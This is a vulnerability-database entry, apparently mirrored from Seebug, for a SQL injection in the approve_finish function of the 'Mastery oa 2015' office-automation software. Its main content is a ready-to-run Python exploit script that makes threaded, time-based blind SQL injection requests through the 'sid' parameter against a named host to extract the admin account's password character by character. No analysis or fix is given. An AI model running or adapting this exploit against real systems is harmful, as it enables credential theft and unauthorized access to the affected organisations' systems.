Lucene search
K

Mastery oa 2015 \inc\common.inc.php approve_finish function injection vulnerability

🗓️ 27 Dec 2016 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

Mastery oa 2015 common.inc.php approve_finish function injection vulnerabilit

Code

                                                import threading,time
import requests

url = "http://lemon.love:8081/general/document/index.php/send/approve/finish"

def exp(n):
    global data
    for c in range(33,127):
        i = c
        flag = 1
        payload = "1) and char(@`'`)  union select if(ord(mid(PASSWORD,%d,1))=%d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,i)
        exp_data = {
            'sid' : payload
        }
        cookies = {
            '_SERVER' : ''
        }
        try:
            res = requests.post(url, data=exp_data, cookies=cookies, timeout=5)
        except:
            data[n] = chr(i)
            print "Data %dth: %s" % (n,data[n])
            flag = 0
            break
    if flag:
        exit()

def main():
    threadpool=[]

    for n in xrange(1,10):
        th = threading.Thread(target=exp,args= (n,))
        threadpool.append(th)

    for th in threadpool:
        th.start()

    for th in threadpool :
        threading.Thread.join(th)

if __name__ == '__main__':
    data = {}
    start_time = time.time()
    main()
    print "Get data: ",data
    print "Spend time: ",time.time()-start_time
    for i in sorted(data):
        print data[i],
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation